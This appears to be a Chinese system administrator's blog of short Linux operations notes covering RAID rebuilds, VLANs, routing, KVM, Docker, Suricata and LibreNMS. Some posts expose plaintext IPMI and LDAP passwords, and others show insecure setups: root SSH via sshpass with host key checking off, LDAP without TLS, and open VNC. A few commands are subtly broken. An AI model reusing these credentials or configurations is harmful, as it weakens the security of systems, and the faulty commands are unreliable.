    copytruncate
    daily
    rotate 7
    missingok
    compress
}
EOF

以上的配置说明：

/export/servers/tomcat/tomcat/logs/catalina.out{ # 要轮转的文件 copytruncate # 创建新的catalina.out副本后，truncate源catalina.out文件，会丢数据!!! daily # 每天进行catalina.out文件的轮转 rotate 7 # 至多保留7个副本 missingok # 如果要轮转的文件丢失了，继续轮转而不报错 compress # 使用压缩的方式（非常有用，节省硬盘空间；一个2~3GB的日志文件可以压缩成60MB左右） }

可以手工强制执行logrotate程序。在命令行运行：

Rsync的日常使用方法

Thu, 28 Dec 2023 08:40:11 +0800

Rsync的基本参数

-a : 归档模式，递归拷贝，带属性。
-u : 同步时目标目录中如果某文件比源中文件时间要新，则保留不动。
-v : 详细显示信息
-z : 压缩
-h : 显示友好信息
-P : 显示传输进度百分比
-R : 使用相对路径，会保留源目录的目录结构。
-e : 使用ssh来传输

  源如果没有/，代表连同目录以及目录下的文件，统统拷贝到目的去
  源如果最后带/，意思是/*，代表只拷贝目录下的文件，不包括目录本身
  
  如果参数中带-R，那无论源后面有无/，都按原有目录状态拷过去

-R 使用相对路径，会保留源目录的目录结构。如rsync -av /foo/bar/baz.c remote::/tmp/，会将baz.c传到/tmp下，而使用了-R，则在/tmp下的文件结构将会是foo/bar/baz.c。

下面两种用法一样：

rsync -auvPR --exclude 'upload' new 172.18.34.38::new/
rsync -auvPR --exclude 'upload' ./new 172.18.34.38::new/

大规模传输细小文件的方法：

find ./new -mindepth 6 -maxdepth 6 -type d -print0 | xargs -P 30 -n 60 -I % -0 rsync -auvPR % 172.18.34.38::new/

-print0 -0 find命令有一个特别的参数-print0，指定输出的文件列表以null分隔。然后，xargs命令的-0参数表示用null当作分隔符。 -I -I指定每一项命令行参数的替代字符串。

Megacli用来重建不知道正确槽位的Raid

Wed, 27 Dec 2023 16:54:11 +0800

192.168.85.7上面有两个Raid

一个Raid1, 500G，应该是两块盘，现在丢了一块，正确的槽位不知道是哪一个另一个是Raid0，4TB，运行正常

现在在一个新槽位上插了一块硬盘，但是槽位不对，没有自动rebuild，状态是unconfiged good.

首先查一下丢失的盘

/opt/MegaRAID/MegaCli/MegaCli64 -Pdgetmissing -a0

得到参数Array 0，Row 1

首先进行替换，新盘的id是32:2，替换掉Array0 Row1的盘

/opt/MegaRAID/MegaCli/MegaCli64 -PdReplaceMissing -PhysDrv [32:2] -Array0 -row1 -a0

然后强制这块新盘开始重建

/opt/MegaRAID/MegaCli/MegaCli64 -PDRbld -Start -PhysDrv [32:2] -a0

随时查看一下进度

/opt/MegaRAID/MegaCli/MegaCli64 -PDRbld -ShowProg -PhysDrv [32:2] -a0

上面已经走了5%了，走完就ok了。

Linux下定期检查物理机磁盘的脚本

Wed, 27 Dec 2023 16:35:11 +0800

适用于所有MegaCli的机器。无论dell、浪潮还是H3C。

必须每天上午、下午各检查一下所有物理机的磁盘啊，有问题及时处理。

172.18.31.2 /usr/local/bin/check_disk.sh 脚本：

L1到L5，是5个机柜，从上到下是172.18.x.x的ip分布

#!/bin/bash

L1=(30.1  30.2  30.3  30.4   30.5  30.6  30.7  30.8  30.9  30.10 30.11 30.12  30.13 30.14 30.15 30.16 20.25 30.18)
L2=(30.19 20.23 20.24 20.30  20.31 20.9  20.10 20.37 20.38 20.39 30.29 30.30  20.16 20.17 30.33 30.34 30.35 30.36)
L3=(30.37 20.44 20.45 22.200 30.41 30.42 30.43 30.44 30.45 30.46 30.47 22.201 30.49 30.50 20.51 20.52 20.58 20.59)
L4=(20.65 20.66 30.57 30.58  30.59 30.60 20.1  20.2  30.63 30.64 30.65 30.66  30.67 30.68 30.69 30.70 30.71 30.72)
L5=(30.73 30.74 30.75 30.76)

> /tmp/idrac.txt
> /tmp/idracout.txt

for i in L1 L2 L3 L4 L5
do 
  var=$i[@]
  for j in ${!var}
  do
   echo "Scan $i 172.18.$j......" >> /tmp/idrac.txt
   sshpass -p "xxxxxxxx" ssh -oStrictHostKeyChecking=no root@172.18.$j /opt/MegaRAID/MegaCli/MegaCli64 -PDList -a0|grep "S.M.A.R.T" >> /tmp/idrac.txt
  done
done

lines=($(grep -n "Yes"  /tmp/idrac.txt | cut -f1 -d:))
if [ ${#lines[@]} -eq 0 ]; then
  exit 1
else
  for findline in ${lines[@]}
  do
    array=($(grep -n "\.\.\.\.\.\."  /tmp/idrac.txt |cut -f1 -d:))
    newarray=(${array[*]} ${findline})
    sortarray=($(echo ${newarray[@]} | tr ' ' '\n'|sort -n))
    for((i=0;i<${#sortarray[*]};i++))
    do
      if [ ${sortarray[$i]} -eq $findline ];then
        beginline=${sortarray[(($i-1))]}
        endline=${sortarray[(($i+1))]}
        if [ "$endline" == "" ];then
          endline="$"
        else
          endline=$(($endline-1))
        fi
        break
      fi
    done
    sed -n "$beginline,$endline p" /tmp/idrac.txt >> /tmp/idracout.txt 
  done 
  /usr/local/bin/mailsend -to "zhangranrui@ddky.com" -from monit@ddky.com -ssl -port 465 -auth -auth-plan -smtp smtp.exmail.qq.com -sub "IDC机器硬件故障" -v -user "monit@ddky.com" -pass "xxxxxxxx" -cs "gb2312" -enc-type "base64" -M "$(cat /tmp/idracout.txt)"
fi

Linux下bond和br建立vlan的方法

Wed, 27 Dec 2023 11:35:11 +0800

我们的宿主机上做了4网卡bonding，然后需要上升到br，两个网卡都需要做上vlan。

比如172.18.30.1，想在上面增加一个VLAN段202，然后在上面生产一台虚机172.18.19.2

就需要增加一个bond0.202以及br0.202

做法如下:

cd /etc/sysconfig/network-scripts

cp ifcfg-bond0.199 ifcfg-bond0.202

vi ifcfg-bond0.202
DEVICE=bond0.202
ONBOOT=yes
USERCTL=no
BRIDGE=br0.202
VLAN=yes

cp ifcfg-br0.199 ifcfg-br0.199

vi ifcfg-br0.202
DEVICE=br0.202
BOOTPROTO=static
ONBOOT=yes
TYPE=Bridge

然后启动这两个网卡，启动顺序很重要！！！

ifup bond0.202
ifup br0.202

注意，执行完以后务必检查一下两个网卡是否UP

然后产虚机就好

./vm.sh create -b br0.202 -c 4 -m 4096 -d 40  -i 172.18.19.2 -k 255.255.255.0 -g 172.18.19.254 -q 172.18.30.1 -r 172.18.30.2 ucarp-18-19-2

Linux下ECMP等价路由的建立

Wed, 27 Dec 2023 10:35:11 +0800

我们有两个出口，一个从无锡出，一个从世纪互联出

这台机器的em1接世纪互联，em2接无锡尚航，两个网关，有ipv6和ipv4

ISP 1:
    Gateways:
        172.16.9.254
        2001:db8:a::1
    Interface: em1
	
ISP 2:
    Gateways:
        172.18.9.254
        2001:db8:b::1
    Interface: em2

那么这台机器的ECMP等价路由这么做：

ip route replace default proto static scope global \
    nexthop dev em1 via 172.16.9.254 weight 1 \
    nexthop dev em2 via 172.18.9.254 weight 1

ip -6 route replace default proto static scope global \
    nexthop dev em1 via 2001:db8:a::1 weight 1 \
    nexthop dev em2 via 2001:db8:b::1 weight 1

这两条命令需要放到 /etc/rc.d/rc.locl 或者ifup里面去

审计需求只读用户的建立

Wed, 27 Dec 2023 09:35:11 +0800

审计的要求：

线上环境研发只能有只读权限

那只能曲线救国了，两个用户，supdev是运维用来管理的，logview是研发用来只读日志的

一、首先确定系统有supdev用户存在

id supdev 通常supdev的id是511

二、增加新用户logview

我们确定logview的id是512，group是和supdev同组 useradd -u 512 -g supdev logview

三、程序的app以及数据目录不是在supdev的home目录下，而是在/data/servers下

所以我们把/data/servers下的目录都改成750，文件都改成640

#!/bin/sh
find /export/servers/ -type d ! -perm 0750 -exec chmod 0750 {}
find /export/servers/ -type f ! -perm 0640 -exec chmod 0640 {}

# ansible 模块
- name: make dirs 0755
  command: find {{ your_path }} -type d ! -perm 0750 -exec chmod 0750 {} \;

- name: make files 0644
  command: find {{ your_path }} -type f ! -perm 0640 -exec chmod 0640 {} \;

这样就可以了。logview可以去到/data/servers目录，可以看文件，但无法执行。

H3C服务的BIOS主板设置中如何正确设置NTP服务器

Tue, 26 Dec 2023 11:35:11 +0800

H3C服务器主板时间不准确也很讨厌，看主板日志时间都是错的，没办法，修改一下。

H3C服务器BIOS的NTP设置方法：

修改主服务器：

ipmitool -I lanplus -H 10.18.$1 -U admin -P Password@_ raw 0x32 0xA8 0x01 服务器名的HEX字符串

修改辅服务器：

ipmitool -I lanplus -H 10.18.$1 -U admin -P Password@_ raw 0x32 0xA8 0x02 服务器名的HEX字符串

修改第三个服务器：

ipmitool -I lanplus -H 10.18.$1 -U admin -P Password@_ raw 0x32 0xA8 0x05 服务器名的HEX字符串

方法很简单，但是服务器名的HEX字符串如何得到？

echo -n "172.18.30.1" | od -A n -t x1 | sed  "s/ / 0x/g"
0x31 0x37 0x32 0x2e 0x31 0x38 0x2e 0x33 0x30 0x2e 0x31

修改NTP服务器1为172.18.30.1

traefik配置digicert家得泛域名证书

Thu, 21 Dec 2023 11:35:11 +0800

traefik使用digicert付费的证书和使用letencrypt免费证书的方法不一样，下面说一下怎么配置：

traefik.yml里面就没有任何配置

log:
  level: DEBUG

api:
  insecure: false
  dashboard: true

entryPoints:
  http:
    address: ":80"
    #http:
    #  redirections:
    #    entryPoint:
    #      to: https
    #      scheme: https

  https:
    address: ":443"

providers:
  file:
    directory: /export/servers/traefik/dynamic
    watch: true

所有的配置都放到到/export/servers/traefik/dynamic目录下了，动态更新：

certs.yml来定义证书选项

tls:
  certificates:
    - certFile: "/export/servers/traefik/ddky.crt"
      keyFile:  "/export/servers/traefik/ddky.key"
  options:
    default:
      sniStrict: true
      minVersion: VersionTLS12
      cipherSuites:
        - TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384
        - TLS_ECDHE_ECDSA_WITH_CHACHA20_POLY1305_SHA256
        - TLS_ECDHE_RSA_WITH_CHACHA20_POLY1305_SHA256
        - TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256
        - TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256

test7-01.yml单独test7.ddky.com的配置

vm.sh创建虚机失败

Thu, 21 Dec 2023 10:35:11 +0800

在172.18.30.1和172.16.60.10上

使用vm.sh创建虚机时，会报错

- Resizing the disk to 80G ... ERR: Could not resize disk.

去 /export/kvm/虚机目录下查看log

Could not open '/var/tmp/.guestfs-101448/appliance.d/root': No such file or directory

解决方法很简单，清除掉Cache即可：

rm -rf /var/tmp/.guestfs-0/

附上CentOS7安装 kvm 的命令：

yum install qemu-kvm libvirt libvirt-python libguestfs-tools virt-install

Xfs文件系统下增加inode

Thu, 21 Dec 2023 09:35:11 +0800

终于遇到了inode不够了，细碎文件爆棚了，导致inode不够了。

XFS 文件系统本质上是没有 inode 的限制的

只有一个缺省的限制，使用现有文件系统的 25% 来存储 inode 信息。

这个缺省的配置在大多数情况下都是够用的。

某些情况下不够用，可以删除一些文件来缓解。

终极办法是增大这个 25% 的阈值来解决：

root@zombie:~# xfs_info /srv/backup/
metadane=/dev/mapper/slow-backup isize=256    agcount=17, agsize=2621440 blks
        =                       sectsz=512   attr=2
data    =                       bsize=4096   blocks=44564480, imaxpct=25
        =                       sunit=0      swidth=0 blks
naming  =version 2              bsize=4096  
 ascii-ci=0
log     =internal               bsize=4096   blocks=20480, version=2
        =                       sectsz=512   sunit=0 blks, lazy-count=1
realtime=brak                   extsz=4096   blocks=0, rtextents=0

上面，我们看到 imaxpct=25 ，就是这个配置了。

增大的方法：

xfs_growfs -m 30

这样就增大到 30% 了

查看SWAP交换空间被哪个进程给用掉了

Fri, 15 Dec 2023 17:35:11 +0800

在机器上执行命令free -g 和 free -k

看看有多少空闲

8G的Swap交换空间都被用光了！！！

再用kb的单位看看，一共8388604，基本用光掉了

查看是哪些进程使用了交换空间：

find /proc -maxdepth 2 -path "/proc/[0-9]*/status" -readable -exec awk -v FS=":" '{process[$1]=$2;sub(/^[ \t]+/,"",process[$1]);} END {if(process["VmSwap"] && process["VmSwap"] != "0 kB") printf "%10s %-30s %20s\n",process["Pid"],process["Name"],process["VmSwap"]}' '{}' \; | awk '{print $(NF-1),$0}' | sort -h | cut -d " " -f2-

6504的qemu-kvm用掉了4.8G，看起来不太直观。

find /proc -maxdepth 2 -path "/proc/[0-9]*/status" -readable -exec awk -v FS=":" -v TOTSWP="$(cat /proc/swaps | sed 1d | awk 'BEGIN{sum=0} {sum=sum+$(NF-2)} END{print sum}')" '{process[$1]=$2;sub(/^[ \t]+/,"",process[$1]);} END {if(process["VmSwap"] && process["VmSwap"] != "0 kB") {used_swap=process["VmSwap"];sub(/[ a-zA-Z]+/,"",used_swap);percent=(used_swap/TOTSWP*100); printf "%10s %-30s %20s %6.2f%\n",process["Pid"],process["Name"],process["VmSwap"],percent} }' '{}' \;  | awk '{print $(NF-2),$0}' | sort -hr | head | cut -d " " -f2-

Linux支持断点续传、多线程下载的软件

Fri, 15 Dec 2023 17:05:11 +0800

Linux下多线程下载工具，且支持断点续传，机房传文件必备：

axel -s 9000000 -a -n 5 -o ord_his.dmp http://172.16.24.2:8080/ord_his.dmp

-s 限速，9000000是70M带宽，不加s就是100M榨干 -n 线程，缺省是4 -o 目的文件 -a 进度条压缩展示，必须加，否则会进度满天飞

注意：axel 是可以自动断点续传的

suricata加上elk分析机房入口全流量

Fri, 15 Dec 2023 16:05:11 +0800

suricata 是跟snort差不多的一个入侵检测工具，加上elk的图形界面，非常的好看。

原理是suricata的log发到elk里，这样就能通过kibana进行分析了

环境：

1、物理机需要开16G内存，16CPU，都不太够 2、物理机172.18.30.2的br3是交换机的Mirror口，进入的全部流量都被镜像了一份 3、suricata-18-31-31是虚机，需要将30.2的br3挂进来

virsh attach-interface  --domain suricata-18-31-31 --type bridge --source br3 --model e1000 --config --live
同时在31.31里，ifconfig up eth1把网卡起起来
tcpdump -i eth1有数据即可

4、首先安装java

rpm -ivh jdk-8u201-linux-x64.rpm

安装：一、编译安装suricata

yum -y install epel-release

yum -y install jq cargo openssl-devel PyYAML lz4-devel gcc libpcap-devel pcre-devel libyaml-devel file-devel zlib-devel jansson-devel nss-devel libcap-ng-devel libnet-devel tar make libnetfilter_queue-devel lua-devel GeoIP-devel

wget https://www.openinfosecfoundation.org/download/suricata-4.1.8.tar.gz
tar zxvf suricata-4.1.8.tar.gz
cd suricata
./configure --libdir=/usr/lib64 --prefix=/usr --sysconfdir=/etc --localstatedir=/var --enable-nfqueue --enable-lua --enable-geoip --enable-profiling
make
make install-full

验证一下
suricata -V
This is Suricata version 4.1.8 RELEASE

查看build参数
suricata --build-info

suricata就装好了，还需要配一下suricata-update，规则才是最主要的，装好后最好每天更新一下规则

ipxe使用sanboot远程启动iscsi硬盘

Fri, 15 Dec 2023 15:05:11 +0800

如果一台宿主机上面cpu和memory都有富裕，但是磁盘不富裕，那就会面临资源浪费

所以干脆用ipxe的sanboot来启动远程的iscsi磁盘来启动虚机好了

首先用《iscsi卷的远程挂载》这篇文章中所说的方法，在172.18.30.18的20T的loopback vg group上，划出一块80G的硬盘

#划个lvc，用的是vg-targetd的20T中的80G
lvcreate -L 80G -n pvc-vis-18-31-48 vg-targetd

#建立block块设备
targetcli /backstores/block create vg-targetd:pvc-vis-18-31-48 /dev/vg-targetd/pvc-vis-18-31-48

#建立30.18上的iscsi服务端，似乎用renhe-18-30-18比较好，但是不好区分多个卷，还是用下面的精准
targetcli /iscsi create iqn.2020-10.com.ddky:vis-18-31-48

#建立luns，会自动建立portal
targetcli /iscsi/iqn.2020-10.com.ddky:vis-18-31-48/tpg1/luns create /backstores/block/vg-targetd:pvc-vis-18-31-48

#建立客户端的iscsi，不加任何认证
targetcli /iscsi/iqn.2020-10.com.ddky:vis-18-31-48/tpg1/acls create iqn.2020-10.com.ddky:vis-18-31-48

记下来这个: iqn.2020-10.com.ddky:vis-18-31-48

然后修改pxe，位于172.18.31.2 /export/html/pxeboot/boot2.php，本质是发送ipxe的命令

sanhook是加载远程硬盘，并设置为/dev/sda

function sansetup() {
    global $hostname;
    echo ":sansetup\n";
    echo "set initiator-iqn iqn.2020-10.com.ddky:vis-18-31-48\n";
    echo "set keep-san 1\n";
    echo "sanhook iscsi:172.18.30.18::::iqn.2020-10.com.ddky:vis-18-31-48\n";
    echo "kernel $hostname/repos/centos/7/os/x86_64/images/pxeboot/vmlinuz\n";
    echo "initrd $hostname/repos/centos/7/os/x86_64/images/pxeboot/initrd.img\n";
    echo "imgargs vmlinuz load_ramdisk=1 ks=$hostname/pxeboot/install/centos/centos7_last.php ksdevice=eth0 net.ifnames=0 biosdevname=0\n";
    echo "boot\n";
}

发动一个无盘的虚机从pxe启动（172.18.30.3 /export/kvm/48.sh）：

Prometheus集成进mysql_exporter

Fri, 15 Dec 2023 14:05:11 +0800

mysql_exporter 其实是一个mysql客户端，定时收集本机mysql的数据，并暴露出一个web端口展现数据。

例如：http://172.18.20.9:50001/metrics ，这里我们暴露的端口是50001。

prometheus 每隔5分钟会访问这个web页面，把上面的数据抓下来入库。（时间间隔可以调整）

我们点进Prometheus的页面：

注意右下角的时间戳是不对的，差8小时，我们点右上角的React UI

这个UI时间是对的，跟当地时间一致：

想看 mysql 的指标，就需要编辑公式，输入mysql会显示所有mysql的公式：

注意：我们 mysql_exporter 的端口是50001 ，写 promsql 选择instance的时候是这样的instance=“172.18.20.9:50001”

给一些报警例子：

rate(mysql_global_status_threads_connected[5m]) > 200

mysql_global_variables_max_connections - mysql_global_status_threads_connected < 500

mysql_global_status_innodb_num_open_files > (mysql_global_variables_open_files_limit) * 0.75

CentOS7安装ZFS

Fri, 15 Dec 2023 13:05:11 +0800

zfs用来顶替Raid控制卡，有相当强悍的性能，TrueNAS用的就是这玩意。

官方安装文档： https://openzfs.github.io/openzfs-docs/Getting%20Started/RHEL%20and%20CentOS.html

CentOS7安装

yum install -y epel-release
yum install -y https://zfsonlinux.org/epel/zfs-release.el7_9.noarch.rpm
yum install -y kernel-devel zfs

加载模块

[root@localhost ~]# lsmod|grep zfs

[root@localhost ~]# modprobe zfs

[root@localhost ~]# lsmod|grep zfs
zfs                  3986850  0 
zunicode              331170  1 zfs
zlua                  151525  1 zfs
zcommon                89551  1 zfs
znvpair                94388  2 zfs,zcommon
zavl                   15167  1 zfs
icp                   301854  1 zfs
spl                   104299  5 icp,zfs,zavl,zcommon,znvpair

看看文件系统

[root@localhost ~]#  zfs list
no datasets available

192.168.85.100的本地磁盘从sdb 一直到 sdg，首先zpool建立池子，类似raid卡的功能然后再zfs建立文件系统

[root@localhost ~]# zpool create -f zfspool sdb sdc sdd sde sdf sdg

[root@localhost ~]# zpool status
  pool: zfspool
 state: ONLINE
  scan: none requested
config:

        NAME        STATE     READ WRITE CKSUM
        zfspool     ONLINE       0     0     0
          sdb       ONLINE       0     0     0
          sdc       ONLINE       0     0     0
          sdd       ONLINE       0     0     0
          sde       ONLINE       0     0     0
          sdf       ONLINE       0     0     0
          sdg       ONLINE       0     0     0

errors: No known data errors

[root@localhost ~]# df -h
文件系统                 容量  已用  可用 已用% 挂载点
devtmpfs                  63G     0   63G    0% /dev
tmpfs                     63G     0   63G    0% /dev/shm
tmpfs                     63G  9.9M   63G    1% /run
tmpfs                     63G     0   63G    0% /sys/fs/cgroup
/dev/mapper/centos-root   50G  1.7G   49G    4% /
/dev/sda1               1014M  189M  826M   19% /boot
/dev/mapper/centos-home  392G   33M  392G    1% /home
tmpfs                     13G     0   13G    0% /run/user/0
zfspool                   53T  128K   53T    1% /zfspool

上面对生产无意义，没有任何冗余的配置在生产是行不通的

Ucarp和nginx提供内网vip

Thu, 14 Dec 2023 16:05:11 +0800

ucarp我们来实战一下完成ucarp+nginx做内网vip，模拟F5的vip的方法

ucarp的安装参考之前的文章，环境如下：

ucarp1：192.168.19.1
ucarp2：192.168.19.2
vip：172.18.19.10

在172.18.19.1和172.18.19.2上编译Nginx 1.16.1

    ./configure --prefix=/export/servers/nginx1161 --with-stream --with-stream_ssl_module
	make
	make install

重点是/export/servers/nginx1161/conf/nginx.conf

cat /export/servers/nginx1161/conf/nginx.conf

  user  nobody;
  worker_processes  auto;

  events {
    use epoll;
    worker_connections  65535;
  }

  stream {
  log_format proxy '$remote_addr [$time_local] '
               '$protocol $status $bytes_sent $bytes_received '
               '$session_time "$upstream_addr" '
               '"$upstream_bytes_sent" "$upstream_bytes_received" "$upstream_connect_time"';
  }
  
  access_log logs/tcp-access.log proxy ;
  open_log_file_cache off;

  upstream stream_backend01 {
    hash $remote_addr consistent;
    #server 172.18.31.2:80 weight=5;
    server 172.18.31.2:80 max_fails=2 fail_timeout=30s;
    #server 172.18.31.2:80 max_conns=3;
  }

  server {
        listen 172.18.19.10:80; 
        proxy_timeout 20s;
        proxy_pass stream_backend01;
  }

}

注意： 1、打出了tcp-access.log 2、根据源IP做hash，强制分配到后面的同一台服务器上，保证一致性 3、后端的server可以有权重，最大连接，以及失效检测（30s内无法连通2次，就摘掉这个服务器）

LXC更新到Docker之后的IP部分修改

Thu, 14 Dec 2023 15:05:11 +0800

在k8s没有出来之前，我们用的就是LXC，古早版本了。

跑的LXC，基于docker进行管理，网络部分独立。

进化到新版本的Docker后，网络部分需要修改，我们决定采用macvlan方式扁平直接接入本地网络：

Docker装好以后，系统中会出现一个Docker0的网络，用来NAT，我们不用这个

2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP group default qlen 1000
    link/ether 52:54:00:14:ee:63 brd ff:ff:ff:ff:ff:ff
    inet 172.18.31.33/24 brd 172.18.31.255 scope global eth0
       valid_lft forever preferred_lft forever
3: docker0: <NO-CARRIER,BROADCAST,MULTICAST,UP> mtu 1500 qdisc noqueue state DOWN group default 
    link/ether 02:42:ef:af:de:98 brd ff:ff:ff:ff:ff:ff
    inet 172.17.0.1/16 brd 172.17.255.255 scope global docker0
       valid_lft forever preferred_lft forever

我们要做的是对eth0做macvlan，不做任何iptable，直接接入本地网络

宿主机ip: 172.18.31.33 Docker1: 172.18.31.35

一、建macvlan

docker network create -d macvlan \
    --subnet=172.18.31.0/24 --gateway=172.18.31.254 \
    -o parent=eth0 \
    macvlan0

docker network ls

docker inspect macvlan0

会看到

LXC更新到Docker之后的存储部分修改

Thu, 14 Dec 2023 14:05:11 +0800

在k8s没有出来之前，我们用的就是LXC，古早版本了。

那时候是1：60的虚拟，一台物理机上跑60个LXC，居然这样运行了8年无异常，现在要升级一下了。

那时候的LXC，存储空间无法单独设定（缺省10G），cpu和mem的limit也有这样那样的问题。

进化到新版本的Docker后，存储部分也需要修改，我们采用overlay2：

docker info

...
 Storage Driver: overlay2
  Backing Filesystem: xfs
  Supports d_type: true
  Native Overlay Diff: true
...

缺省的就是overlay2和xfs

一、修改boot内核启动参数

vi /etc/default/grub

#加上rootflags=uquota,pquota
GRUB_CMDLINE_LINUX="console=tty0 crashkernel=auto net.ifnames=0 console=ttyS0 rootflags=uquota,pquota"

#更新
grub2-mkconfig -o /boot/grub2/grub.cfg

#重启
reboot

二、检验并启动容器

cat /proc/mounts  |grep vda
/dev/vda1 / xfs rw,relatime,attr2,inode64,usrquota,prjquota 0 0

有prjquota即可

按需启动容器，指定空间大小，size=2G

docker run --rm -dit --name=t36 --storage-opt size=2G --net macvlan0 --ip=172.18.31.36 alpine:latest ash

docker exec -it t36 ash
df -h

KVM的嵌套虚拟化

Thu, 14 Dec 2023 13:05:11 +0800

kvm生产的虚机内仍然可以再产虚拟机，这就是嵌套虚拟化

我们的目的是要再kvm虚机中安装一套proxmox的系统

首先在实体机上检查当前的Linux是否支持嵌套

Intel的CPU
cat /sys/module/kvm_intel/parameters/nested

AMD的CPU
cat /sys/module/kvm_amd/parameters/nested

修改支持，以intel为例：

vi /etc/modprobe.d/kvm.conf
options kvm_intel nested=1

reboot就好

不重启的话，可以先卸载模块，然后重新加载

modprobe -r kvm_intel
modprobe kvm_intel

然后检查一下

cat /sys/module/kvm_intel/parameters/nested

proxmox安装的时候，指定cpu=host：

#!/bin/sh
qemu-img create -f qcow2 /export/kvm/proxmox-168-86-103/proxmox-168-86-103.qcow2 200G
virt-install \
  --name=proxmox-168-86-103 \
  --cpu=host \
  --ram=8192 \
  --disk path=/export/kvm/proxmox-168-86-103/proxmox-168-86-103.qcow2,format=qcow2,size=200 \
  --cdrom=/export/kvm/iso/proxmox-ve_7.0-2.iso \
  --os-type=Linux  \
  --network bridge=br0 \
  --vnc --vnclisten=0.0.0.0 --vncport=5903

KVM网络如何设置DHCP

Thu, 14 Dec 2023 07:05:11 +0800

缺省情况下kvm会保留一个nat的网络，ip a命令查看，会看到virbr0和virbr0-nic

8: virbr0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UNKNOWN 
   link/ether 52:54:00:6c:22:2c brd ff:ff:ff:ff:ff:ff
   inet 192.168.122.1/24 brd 192.168.122.255 scope global virbr0
9: virbr0-nic: <BROADCAST,MULTICAST> mtu 1500 qdisc noop state DOWN qlen 500
   link/ether 52:54:00:6c:22:2c brd ff:ff:ff:ff:ff:ff

这个如果虚机都是静态IP，且不做NAT的话，则无必要保留，可以彻底删掉。

kvm删除掉缺省网络

virsh net-destroy default
virsh net-undefine default

那么如果非用不可，还需要给特定虚机用dhcp指定固定IP 方法如下：

查看缺省网络

$ virsh net-list
 Name                 State      Autostart     Persistent
----------------------------------------------------------
 default              active     yes           yes

找出虚机的mac地址

$ virsh dumpxml vis-16-10-33 | grep -i '<mac'
  <mac address='f0:00:ac:10:0a:21'/>

编辑网络

$ virsh net-edit default

<network>
  <name>default</name>
  <uuid>58e86841-ef4b-4d63-bf4f-7888515b8474</uuid>
  <forward mode='nat'/>
  <bridge name='virbr0' stp='on' delay='0' />
  <mac address='52:54:00:6C:22:2C'/>
  <ip address='192.168.122.1' netmask='255.255.255.0'>
    <dhcp>
      <range start='192.168.122.2' end='192.168.122.254' />
    </dhcp>
  </ip>
</network>

在range下面来一列

Shell中变量、字符串、数组、参数的技巧

Wed, 13 Dec 2023 15:05:11 +0800

变量子串

${var} 返回变量var的内容，单独使用时有没有{}一样，混合多个变量和常量时，用{}界定变量名

${#var} 返回变量var内容的长度

${var:offset} 从变量var中的偏移量offset开始截取到字符串结尾的子字符串，offset从0开始

${var:offset:length} 从变量var中的偏移量offset开始截取长度为length的子字符串

${var#*.} 从变量var中删除第一个匹配的点（.）及其左边的所有字符

${var##*.} 从变量var中删除最后一个匹配的点（.）及其左边的所有字符

${var%.*} 从变量var中删除最后一个匹配的点（.）及其右边的所有字符

${var%%.*} 从变量var中删除第一个匹配的点（.）及其右边的所有字符

示例：

var=file.txt.tar.gz
${var#*.}  #内容为"txt.tar.gz"
${var##*.} #内容为"gz"
${var%.*}  #内容为"file.txt.tar"
${var%%.*} #内容为"file"

也可以使用其它Pattern和表达式，示例：

var=/home/xxx/aaa/file.txt #假设xxx为当前用户

# 从路径中获取文件名
${var##*/}  #内容为"file.txt"

# 将绝对路径转为相对路径
# whoami是获取当前用户名，使用$()执行子shell，$(whoami)将得到xxx
~${var#*$(whoami)}  #内容为"~/aaa/file.txt"

${var/pattern/string} 使用string代替第一个匹配的pattern

${var//pattern/string} 使用string代替所有匹配的pattern

${var,} 首字母转小写

${var,,} 全部转小写

${var^} 首字母转大写

${var^^} 全部转大写

特殊扩展变量

${var-word} 如果变量var未赋值，则返回字符串word

${var:-word} 如果变量var未赋值或者值为空，则返回字符串word

${var+word} 如果变量var有值（包括空串""），则返回字符串word

var1=foo
var2=
${var1-word}        # 内容为"foo"
echo ${var2-word}   # 内容为""
echo ${var2:-word}  # 内容为"word"

${var:+word} 如果变量var有值且不为空，则返回字符串word

${var=word} 如果变量var未赋值，则返回字符串word，并为var赋值为字符串word

${var:=word} 如果变量var未赋值或者值为空串，则返回字符串word，并为var赋值为字符串word

${var?word} 如果变量var未赋值，将字符串word作为标准错误输出，否则返回变量var的值

Librenms使用ldap认证用户

Wed, 13 Dec 2023 11:05:11 +0800

我们openldap中用户和组的设置

用户：
ou=People,dc=ddky,dc=com
#uid;#givenName;#sn;#uidNumber;#gidNumber

组：
ou=group,dc=ddky,dc=com
#cn;#gidNumber;#memberUID;#description

到librenms中， 172.18.31.10

cd /opt/librenms
vi config.php
$config['auth_mechanism'] = 'ldap';
$config['auth_ldap_server'] = '172.18.31.27';
$config['auth_ldap_port'] = 389;
$config['auth_ldap_starttls'] = False;               // Disable TLS on port 389
$config['auth_ldap_binddn'] = 'cn=admin,dc=ddky,dc=com'; // overrides binduser
$config['auth_ldap_bindpassword'] = 'nishiwode';
$config['auth_ldap_prefix'] = 'cn=';
$config['auth_ldap_suffix'] = ',ou=People,dc=ddky,dc=com';   // appended to usernames
$config['auth_ldap_groupbase'] = 'ou=group,dc=ddky,dc=com'; // all groups must be inside this
$config['auth_ldap_groups']['admins']['level'] = 10;             // set admins group to admin level
$config['auth_ldap_groups']['pfy']['level'] = 5;                // set pfy group to global read only level
$config['auth_ldap_groups']['support']['level'] = 1;            // set support group as a normal user
$config['auth_ldap_debug'] = false;                 // enable for verbose debug messages

说明：我们的openldap因为是内部使用，所以无法设置证书，TLS是被禁止的。 openldap是禁止anonymous用户查询的，所以需要设置binddn和bindpassword 实际用户是cn=zhangranrui,ou=People,dc=ddky,dc=com，所以要设prefix librenms缺省用户有三个级别，10 5 1，对应的用户组是admins pfy support

Librenms集成进prometheus

Wed, 13 Dec 2023 10:05:11 +0800

librenms是个非常强悍的工具，对网络不清楚的可以透过这个工具，对网络环境有清晰的了解。

如何通过prometheus对librenms进行集成呢？

一、装pushgateway

wget https://github.com/prometheus/pushgateway/releases/download/v1.2.0/pushgateway-1.2.0.linux-amd64.tar.gz

把pushgateway放到/usr/local/bin

cat << EOF >>/etc/systemd/system/pushgateway.service 
[Unit]
Description=Codis Exporter
Wants=network-online.target
After=network-online.target

[Service]
Type=simple
ExecStart=/usr/local/bin/pushgateway --web.listen-address=:50004

[Install]
WantedBy=multi-user.target
EOF

systemctl daemon-relaod
